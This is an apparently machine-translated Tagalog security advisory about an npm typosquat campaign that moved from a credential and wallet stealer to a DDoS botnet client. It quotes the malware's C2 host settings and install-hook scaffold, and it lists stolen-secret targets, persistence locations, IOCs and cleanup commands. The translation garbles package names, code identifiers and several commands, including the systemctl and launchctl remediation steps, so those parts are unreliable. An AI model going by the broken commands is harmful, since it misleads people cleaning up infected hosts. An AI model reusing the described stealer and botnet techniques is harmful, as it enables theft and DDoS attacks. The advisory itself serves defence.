Tl; DR
Isang nag-iisang tagapaglathala ng npm, deadcode09284814, ay nagsagawa ng kampanyang typosquat laban sa lehitimong axios at chalk-template mga pakete simula noong kalagitnaan ng Mayo 2026.
Nagsimula ang kampanya bilang isang kumbensyonal na magnanakaw ng kredensyal at pitaka, na naglalabas ng datos sa isang Tunel ng Serveo HTTPS.
On 2026-05-17, Na may axois-utils:1.0.9, ganap na pinalitan ng operator ang payload: parehong triple install-hook scaffold, parehong publisher, parehong pangalan ng package.
Ngunit ang install script ngayon ay isang cross-platform na DDoS botnet recruit na.
Ang kargamento ay nagsasalita sa isang localhost.run tunnel at tumatanggap ng mga flood command, na ginagawang bahagi ng isang botnet na may kakayahang DDoS ang mga nahawaang kapaligiran.
Ipinadala pa nga ng operator ang Binary ng C2 server sa loob ng tarball, na nagpapakita ng malinaw na pagtaas mula sa pagnanakaw ng kredensyal patungo sa aktibong imprastraktura ng botnet.
Dalawang pakete, apat na bersyon ang aktibo pa rin sa registry, at isang operator na ngayon ay sabay na nagpapatakbo ng parehong module.
Kalubhaan: mataas.
Ang Pag-atake: Paano Ito Gumagana
Ang kampanya ay binuo sa isang sadyang nakakabagot na scaffold ng paghahatid: dalawang typosquat na pangalan ng pakete, isang letra ang layo mula sa mga pakete na may daan-daang milyong lingguhang pag-download (mga axios, template ng tisa), at tripleng pag-install hooks na garantiya sa pagpapatupad. Ang interesante ay kung ano ang plantsa nagdadala — at ang katotohanang binago ng operator ang kargamento nang walang ibang binago.
Ang ibinahaging plantsa
Ang bawat nailathalang bersyon ng parehong pakete ay nagdedeklara ng parehong lifecycle ng tatlong hooks in package.json:
"scripts": { "preinstall": "node <payload>.js", "install": "node <payload>.js", "postinstall": "node <payload>.js" } Paglilista ng kargamento sa ilalim ng lahat ng tatlo hooks ay labis-labis — postinstall tatakbo nang mag-isa sa isang default install npmMahalaga ang pagpili: npm install –ignore-scripts nilalaktawan ang mga script, ngunit may ilang karaniwang daloy ng trabaho (ibinabalik ng CI cache ang lifecycle ng muling pagpapatakbo hooks pili, o mga developer na nag-audit lamang postinstall) gumawa ng triple-redundant na deklarasyon na pinakaligtas na taya para sa umaatake.
chalk-tempalte nagdaragdag ng pangalawang mekanismo: ipinapahayag nito axois-utils:^1.0.7 bilang isang oras ng pagpapatakbo pagpapasustentoPag-install ng typosquatted template ng tisa samakatuwid ay hinihila rin ang magkapatid na typosquat, at parehong tumatakbo ang mga payload. Ang dalawang pakete ay isang magkatugmang pares, hindi magkakahiwalay na listahan.
Yugto A — magnanakaw ng kredensyal / pitaka (2026-05-15 → kasalukuyan)
Ang Phase A ang orihinal na kargamento. Ang loader ay isang maikli postinstall.js na nakaturo sa isang Serveo HTTPS reverse-tunnel:
// chalk-tempalte/postinstall.js:11-13 const C2_HOST = "f04a273bd84c0622-80-200-28-28.serveousercontent.com"; const C2_PORT = 443; const C2_PATH = '/collect'; Ang Serveo subdomain ay nagko-code ng destination IP (80.200.28.28) direkta sa hostname — isang makikilalang kumbensyon para sa serbisyong iyon. Iniikot ng operator ang random na subdomain prefix sa pagitan ng mga bersyon upang maiwasan ang mga naïve domain blocklist, ngunit ang pinagbabatayang IP ay hindi kailanman gumagalaw.chalk-tempalte:1.0.14 ginamit 8a3e818ea8f11186-80-200-28-28…; 1.0.16 / 1.0.19 / 1.0.20 gamitin f04a273bd84c0622-….)
postinstall.js huwag nang mag-alala phantom.js, isang 7,667-linya na naka-bundle na modyul na "kolektor". phantom.js naglalakad ang host para sa:
Mga pribadong susi ng SSH (~/.ssh/*) |
.npmrc mga nilalaman at anumang npm_* mga token ng env |
| Mga file ng kredensyal ng AWS, GCP, at Azure |
Regex ng personal-access-token ng GitHub (ghp_*, gho_*, ghu_*, ghs_*) |
| Mga artifact ng crypto-wallet para sa Bitcoin, Exodus, Electrum, Monero, Litecoin, Dogecoin, Zcash, Dash |
Isang rekursibo .env* lakad sa pamamagitan ng ~/projects, ~/dev, ~/code, ~/workspace, at ang pag-install ng cwd |
Mga kasaysayan ng Shell at ang buong process.env |
Ang bundle ay ipinapadala sa Serveo tunnel sa / mangolektaWalang obfuscation, walang anti-VM logic, walang staging — ang taya ng operator ay nasa volume at bilis.
Yugto B — PhantomBot DDoS recruit (2026-05-17, axois-utils:1.0.9 lamang)
Pinalitan ng Phase B ang phantom.js + postinstall.js ng isang file na pinangalanang distrube.js (ang typo ay sa operator). Ang triple-hook scaffold sa package.json ay hindi nagbago; ang package ay nagpapanatili ng parehong pangalan, saklaw, at pattern ng version-bump. Sa labas, ang axois-utils:1.0.9 ay mukhang isang maliit na kasunod ng 1.0.6. Sa loob, ito ay isang kakaibang pamilya ng malware.
distrube.js bubukas gamit ang isang configuration block na nagpapangalan sa sariling branding ng operator:
// axois-utils-1.0.9/distrube.js:11-15 |
// Use your localhost.run HTTPS URL (the tunnel handles HTTP internally) |
const C2_HOST = 'b94b6bcfa27554.lhr.life'; // Your localhost.run tunnel |
const C2_PORT = 443; // HTTPS port - tunnel handles SSL |
const BOT_ID = `${os.hostname()}_${Date.now()}_${crypto.randomBytes(4).toString('hex')}`; |
Ang mga komento ay para sa isang operator sa hinaharap na magpapatakbo ng kit (“Gamitin ang iyong localhost.run HTTPS URL”). Iyon, kasama ang ipapadala sa tabi ng bot client, ay ang senyales na hindi lamang ito isang payload ng biktima — ito ay ang kit.
Ang daloy:
- Pagtitiyaga unang tumatakbo. Ini-install ng script ang sarili nito sa tatlong magkakaibang paraan bawat OS (registry Tumakbo + Folder ng pagsisimula + schtasks sa Windows; crontab + serbisyo ng phantom-bot yunit ng systemd + .bashrc/.zshrc idagdag + /etc/rc.local sa Linux; LaunchAgent com.phantom.bot.plist sa macOS). Ang pangalan ng persistence service at ang LaunchAgent label ay parehong phantom-bot / com.phantom.bot, na kung saan din nagmula ang pangalan ng kampanya.
- Impormasyon ng sistema exfil Tumatakbo nang isang beses — isang beses lang na fingerprint POST sa b94b6bcfa27554.lhr.life:443/collect na may dalang hostname, platform, arch, username, CPU/RAM, network interfaces, process.env, cwd, homedir, node version, at public IP. Ito ay hindi gaanong agresibo kumpara sa Phase A: walang SSH, walang wallet, walang .env recursion. Ang trabaho ng bot ay mag-enroll, hindi magnakaw.
- Tibok ng puso Nagbubukas ng HTTPS POST kada 30 segundo sa b94b6bcfa27554.lhr.life:443/. Ang User-Agent ay PhantomBot/1.0. Ang TLS verification ay tahasang hindi pinagana (rejectUnauthorized: false). Ang C2 response ay pina-parse bilang JSON na may anyong {type, target, port, duration, threads, method} at idine-dispatch.
- Arsenal ng baha ay konektado sa anim na utos:
| Uri ng utos | Module | Mga Tala |
|---|---|---|
| i-ping | Tugon sa kasiglahan | Kinikilala ng bot ang sarili nito |
| http | HTTP baha | Pagbaha ng kahilingan ng Layer-7 |
| https | Baha ng HTTPS | Pareho ng http, nakabalot sa TLS |
| tcp | TCP baha | 65 KB spam na random-payload |
| udp | UDP baha | 65,507-byte na mga pakete ng UDP |
| mabilis | Mabilis na pag-reset ng HTTP/2 DoS | Ang pamamaraan ng 2023 CVE-2023-44487 |
Ang lahat ng limang modyul ng baha ay kumukuha ng target, port, tagal, at mga thread argumento — ang bot ay isang generic na for-hire flooder, hindi para sa sinumang partikular na biktima. Ang listahan ng biktima ng operator ay nasa C2, wala sa pakete.
Ano ang Bago Dito — ang ipinadalang C2 binary
Ang Phase A ay isang pamilyar na hugis: pagnanakaw ng kredensyal, install hook, vendor-tunneled C2. Ang Phase B ay Rin isang pamilyar na hugis — ang mga DDoS botnet ay naging bahagi na ng mga malisyosong npm package sa loob ng maraming taon. Ang hindi pangkaraniwan ay ang operator ang nagpadala ng gilid ng server ng kit sa loob ng npm tarball:
- c2 — isang 4-megabyte na pinagsama-samang Go ELF binary
- c2.go — ang 426-line na Go source para sa binary na iyon
Hindi ginagamit ng kahit anong install hook ang alinmang file. Hindi sila bahagi ng payload ng biktima. Nasa package directory sila tulad ng isang documentation file. Ang pinaka-posibleng interpretasyon ay ang operator ang nag-push ng kanilang development working tree sa npm nang hindi inaayos ang listahan ng file — isang tunay na OpSec slip — at ang ipinadala ay ang kumpletong two-sided kit: ang client na pinapatakbo ng biktima, at ang server na pinapatakbo ng operator.
Ito ang bahagi ng kuwento na nagbibigay-katwiran sa pag-frame ng "turnkey botnet kit". Sinumang nag-download axois-utils:1.0.9 bago ang takedown ay hindi lang sample ng biktima ang mayroon — mayroon din silang gumaganang C2 server.
Ang pivot, sa isang pangungusap
Parehong publisher, parehong pangalan ng pakete, parehong triple-hook scaffold, parehong "phantom" branding — ngunit Binago ng payload ang modelo ng monetization nang magdamagmula sa “mga sikreto ng pag-aani na maaari kong ibenta muli” hanggang sa “kapasidad ng pag-upa na maaari kong arkilahin”. Ang mga TTP sa oras ng pag-install na dapat bantayan ng mga tagapagtanggol ay halos magkapareho sa parehong yugto; mga depensang nakabatay sa lagda na naka-key sa mga string ng wallet-path ng Phase A o sa phantom.jsTiyak na hindi naabutan ng 7,667-line collector ang Phase B.
| Petsa (UTC) | pangyayari |
|---|---|
| 2026-05-15 | Unang publikasyon: axois-utils:1.0.4 (Paggawa ng pagsubok sa LAN, development rig sa 192.168.129.19) |
| 2026-05-15 | axois-utils:1.0.6 nailathala — Ang Yugto A C2 ay pinalitan ng 80.200.28.28 sa pamamagitan ng Serveo tunnel; ang komento ng pinagmulan // Change to '80.200.28.28' for public kinukumpirma ang dev→prod swap |
| 2026-05-16 | chalk-tempalte:1.0.14 at 1.0.16 nailathala — nagdedeklara ang chained loader axois-utils:^1.0.7 bilang isang runtime dependency; Pinaikot ang subdomain ng Serveo |
| 2026-05-16 | Natuklasan ang kampanyang Phase A sa routine npm scanning; inilapat ang mga kumpirmadong hatol na may masamang hangarin |
| 2026-05-17 | axois-utils:1.0.9 nailathala — payload pivot: Nag-recruit ang PhantomBot DDoS sa pamamagitan ng localhost.run tunnel; operator-side c2 binary at c2.go ipinadala ang pinagmulan sa tarball |
| 2026-05-17 | chalk-tempalte:1.0.19 at 1.0.20 nailathala — Phase A pa rin (stealer); ang operator ngayon ay nagpapatakbo ng parehong module nang magkasabay |
| 2026-05-17 | Pagkatuklas ng Phase B sa panahon ng routine scanning; ang mga hatol ay inilapat sa lahat 2026-05-17 mga bersyon |
| (nagpapatuloy) | Nakabinbin ang mga ulat ng pagtanggal; lahat ng apat na nai-publish na pakete ay nananatiling available sa registry sa oras ng pagsulat. |
Mga Tagapagpahiwatig ng Kompromiso
Pakete
| ecosystem | pakete | Mga bersyon |
|---|---|---|
| npm | axois-utils (typosquat ng axios) | 1.0.4, 1.0.6, 1.0.9 |
| npm | chalk-tempalte (typosquat ng chalk-template) | 1.0.14, 1.0.16, 1.0.19, 1.0.20 |
Pagkakakilanlan ng may-akda
| Patlang | halaga |
|---|---|
| tagapaglathala ng npm | deadcode09284814 |
| Email ng tagapaglathala | phantomdeadcode@tutamail.com |
| SCM beripikasyon | wala |
Command-and-control
| Bahagi | Endpoint | transportasyon |
|---|---|---|
| A | f04a273bd84c0622-80-200-28-28.serveousercontent.com:443/collect | Tunel ng Serveo HTTPS |
| A | 8a3e818ea8f11186-80-200-28-28.serveousercontent.com:443/collect | Serveo HTTPS tunnel (mas lumang bersyon) |
| A | 80.200.28.28:443/collect | Pinagbabatayang endpoint ng VPS |
| B | b94b6bcfa27554.lhr.life:443/ | localhost.run HTTPS reverse-tunnel |
Mga digest ng file (SHA-256)
| talaksan | SHA-256 | Mga Tala |
|---|---|---|
c2 (Pumunta sa ELF, 4 MB) | 165fa92d237fd017c227d00da06ab788212a62be94bf61e95df2d22d00377ef2 | C2 server sa panig ng operator, ipinadala sa loob axois-utils:1.0.9 |
c2.go (426 na linya) | 7d0ae79fdb1e9968f3323a3712b624643a782ba3efb2cf3a2cb9c4c5513cea30 | Pumunta sa pinagmulan para sa C2 binary |
distrube.js | 308b15c023088a7188dea4ef609010ac2493eb4c365b103053d7621a9ca5b935 | Kliyente ng bot ng Phase B |
phantom.js (chalk-tempalte:1.0.19) | 9e380ec88d3ccf3929e1a104e3b868d4d7b59ca189a8a431a54e9f3357dfdd81 | Pangongolekta ng kredensyal / pitaka sa Phase A |
phantom.js (chalk-tempalte:1.0.20) | d1c9e3f296ee9f7d5032f73f9c504cede50334bc14c394055fd5cb9c3a6e08b3 | Kolektor ng Phase A (1.0.20 na variant) |
postinstall.js (chalk-tempalte:1.0.19 = 1.0.20) | ffba9bdd6793edd5b38e12900252c1813a693f59c25af51c3b658cf3f27b6162 | Phase A loader, magkapareho ang byte sa parehong bersyon |
Pagpapatungkol at Motibasyon
Sinusubaybayan namin ang kampanyang ito bilang PhantomBot, kinukuha ang sariling branding ng operator mula sa Ahente ng Gumagamit: PhantomBot/1.0 header ng tibok ng puso, ang serbisyo ng phantom-bot yunit ng systemd, ang com.phantom.bot Label ng LaunchAgent, at ang phantomdeadcode@ handle ng email. Ang operator ay pare-pareho tungkol sa pangalang ito sa kahit apat na artifact.
Katalogo ng mga signal
- Tagapaglathala - deadcode09284814 sa npm. Account na pang-iisang hawakan, email na hindi ginagamit sa Tutamail, wala SCM beripikasyon. Walang naunang kasaysayan ng publikasyon lampas sa kampanyang ito.
- Muling paggamit ng branding — Lumalabas ang “phantom” sa email ng publisher, sa Phase A collector filename (phantom.js), sa pangalan ng serbisyo ng persistence ng Phase B (serbisyo ng phantom-bot), sa label na LaunchAgent (com.phantom.bot), at sa bot na User-Agent (PhantomBot/1.0).
- Imprastraktura — Isang VPS sa 80.200.28.28 mga harapan ng Phase A sa pamamagitan ng Serveo subdomain rotation; Ang Phase B ay lilipat sa isang localhost.run pabaliktad na tunel (b94b6bcfa27554.lhr.lifeLibre ang parehong serbisyo ng vendor at nangangailangan lamang ng outbound SSH sa panig ng operator, naaayon sa mga low-budget at low-OpSec setup.
- estilo ng code — Simpleng JavaScript sa kabuuan; walang obfuscation, walang string encoding, walang anti-VM checks. Ang mga pangalan ng variable ay naglalarawan (stealSystemInfo, executeCommand, httpFloodMga komento sa distrube.js direktang tumutugon sa isang operator sa hinaharap (“Gamitin ang iyong localhost.run HTTPS URL”), na nagmumungkahi na ang file ay nilayong muling ipamahagi bilang isang kit, hindi gagamitin ng iisang attacker.
- Slip ng OpSec — Ang Phase B tarball ay nagpapadala ng parehong bot client at ng operator-side C2 server (c2 ELF + c2.go (source). Ito ay naaayon sa isang operator na nagtulak sa kanilang working tree sa npm nang hindi ina-audit ang listahan ng file. Alinman sa walang karanasan ang operator, o ang kit ay nilalayong na ipamahagi sa publiko at ang C2 binary ay bahagi ng produkto.
- Pagkumpirma sa sarili - axois-utils:1.0.4 naglalaman ng komento ng pinagmulan // Baguhin sa '80.200.28.28' para sa publiko sa linya 12, na kinukumpirma ang pag-usad ng dev / staging / produksyon na karaniwang itinatanggi ng mga operator.
Pagganyak
Ang Phase A payload ay direktang pagnanakaw sa pananalapi: ang mga kredensyal, cloud key, GitHub token, at crypto wallet ay pawang may mga likidong merkado para sa muling pagbebenta. Ang Phase B ay pinansyal din, ngunit hindi direkta: ang mga serbisyong DDoS-for-hire ("booter") ay nag-uupa ng kapasidad kada minuto, at ang mga bot tulad ng ipinadala rito ay ang imbentaryo na ginagamit sa pagpapatakbo ng mga serbisyong iyon. Ang 30-segundong tibok ng puso, ang generic target/port/tagal command schema, at ang five-protocol flood arsenal ay ang standard produkto ng isang booter operator.
Pagpapatakbo ng parehong module nang magkasabay — chalk-tempalte:1.0.19 at 1.0.20 patuloy na ipadala ang magnanakaw habang axois-utils:1.0.9 nagpapadala ng bot — nagmumungkahi na ang operator ay nagbabawas ng kita sa halip na iwanan ang Phase A. Ang pivot ay isang dagdag, hindi kapalit.
Ang hindi namin inaangkin
Hindi pa namin nakumpirma ang totoong pagkakakilanlan sa likod ng deadcode09284814 handle, at hindi namin iniuugnay ang kampanyang ito sa sinumang pinangalanang threat actor, grupo, o bansa. Ang branding na "phantom" ay sapat na pare-pareho sa iba't ibang artifact upang magmungkahi ng iisang operator, ngunit ang pagpapadala ng C2 binary na parang kit ay nag-iiwan ng posibilidad na ang mga pakete sa hinaharap mula sa mga hindi magkakaugnay na handle ay muling gagamit ng parehong code.
Epekto, Mga Uso at Ang Dapat Gawin ng mga Tagapagtanggol
EPEKTO
Ang mga lehitimong squat target mga axios at template ng tisa ay malawakang umaasa sa ecosystem ng JavaScript; mga axios isa lamang sa mga nangungunang tatlumpung pinakana-download na npm package. Ang mga typosquat na pangalan ay isang keystroke lang ang layo mula sa mga tunay (axois ↔ mga axios, tempalte ↔ template), at pareho itong maaaring maling baybay ayon sa wika.
Hindi kami nakakuha ng maaasahang istatistika ng pag-download para sa mga malisyosong bersyon bago ang pagtanggal — hindi pinapanatili ng npm ang mga bilang ng pag-download bawat bersyon pagkatapos ma-unpublish ang isang package, at npms.ioAng mga -style na proxy ay maingay sa ganitong antas. Anumang organisasyon na ang lockfile ay nagre-resolve sa isang package na pinangalanang axois-utils or chalk-tempalte mula sa tagapaglathala deadcode09284814 dapat ituring na nakompromiso: i-rotate ang bawat kredensyal na naroroon proseso.env sa apektadong host, i-audit ang persistence vectors bawat OS (tingnan ang “Ang Dapat Gawin ng mga Defender” sa ibaba), at alisin ang dependency.
Mga umuusbong na pattern
Ang kampanyang ito ay nagpapakita ng isang pagbabagong nakita natin sa ilang kamakailang insidente ng npm: Ang scaffold na pang-install ay ang matibay na asset; ang payload ay maaaring palitanAng parehong tagapaglathala, ang parehong pakete, ang pareho paunang pag-install / install / postinstall triple, at maging ang parehong version-bump cadence — ang tanging bagay na nagbago sa pagitan axois-utils:1.0.6 at axois-utils:1.0.9 ang file ba ang hooks tumakbo. Pagtukoy batay sa lagda na naka-key sa Phase A payload (mga string ng wallet-path, phantom.js's 7,667-line collector, ang Serveo C2 host) ay malamang na na-flag ang unang tatlong bersyon at tuluyang hindi napanood ang Phase B.
Ang parehong padron ay makikita sa iba pang mga kampanya noong 2026 na aming sinubaybayan: isang operator na may matatag na scaffold, pagpapalit sa pagitan ng pagnanakaw ng kredensyal, mga kliyenteng nangongopya sa pagsusulit, Telegram-bot exfil, at ngayon ay ang recruitment gamit ang DDoS. Ang mga tagapagtanggol na umaasa sa mga lagda ng payload ay patuloy na matatalo sa ikalawang round ng bawat kampanya.
Ang bunga nito ay Ang mga TTP sa oras ng pag-install ang mas mahusay na signal. Mga deklarasyon ng triple install-hook, mga script ng pag-install na nag-i-import https or bata_proseso, mag-install ng mga script na sumusulat sa mga folder ng user-startup, at mag-install ng mga script na nagre-resolve ng mga hostname sa mga libreng reverse-tunnel service (Serveo, localhost.run, ngrok, cloudflared) ay pawang bihira sa mga lehitimong pakete at karaniwan sa mga mapaminsalang pakete.
Ang dapat gawin ng mga tagapagtanggol
- Pag-audit ng Lockfile. Hanapin ang bawat package-lock.json / sinulid.lock / pnpm-lock.yaml sa iyong organisasyon para sa eksaktong mga string axois-utils at chalk-tempalteIturing ang anumang tugma bilang isang kompromiso.
- I-rotate ang mga sikreto sa mga apektadong host. Yugto A na maramihang inani na mga kredensyal ng SSH, cloud, GitHub, npm, at wallet. Ipagpalagay na ang bawat kredensyal na naroroon sa proseso.env, ~ / .ssh, ~/.aws, ~/.npmrc, ~ / .config, kahit na ano .env* nakalantad ang file sa apektadong host.
- Alisin ang pagtitiyaga (Yugto B). Sa Windows, tanggalin HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate, tanggalin %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\system-update.bat, at schtasks /delete /tn SystemUpdate /fSa Linux, crontab -e at alisin @reboot node…, systemctl –i-disable ng user –ngayon phantom-bot.service pagkatapos tanggalin ~/.config/systemd/user/phantom-bot.service, kuskusin .bashrc / .zshrc / /etc/rc.localSa macOS, launchctl i-unload ~/Library/LaunchAgents/com.phantom.bot.plist pagkatapos ay burahin ang plist.
- I-block ang mga C2 host. Idagdag ang apat na C2 endpoint sa IOC table sa iyong egress blocklist. *.serveousercontent.com at *.lhr.life maaaring harangan nang maramihan kung ang iyong kapaligiran ay walang lehitimong gamit para sa mga serbisyo ng reverse-tunnel.
- Paghahanap ayon sa TTP sa oras ng pag-install, hindi kargamento. Mga entry sa lockfile ng imbentaryo na ang mga package.json Ipinahayag paunang pag-install, install, at postinstall lahat ay nakaturo sa iisang script. Suriin muli ang edad ng pakete at katayuan ng beripikasyon ng publisher. Bihira ang pattern na ito sa mga lehitimong pakete at ito ang pinaka-maaasahang signal na muling ginagamit ng PhantomBot.
- Pag-audit para sa C2 binary. Sinumang nag-download axois-utils:1.0.9 ay mayroong C2 server ng operator (c2 ELF, sha256 165fa92d…) sa disk. I-scan ang mga cache at mga tindahan ng CI artifact. Ang binary ay hindi aktibo nang mag-isa, ngunit ang presensya nito sa isang workstation ay malinaw na ebidensya na na-install ang package.
Pangwakas na linya
Ang parehong operator, ang parehong package, at ang parehong install hook ay kayang maghatid ng ganap na magkakaibang banta sa loob ng 48 oras. Bantayan ang scaffold, hindi ang payload.




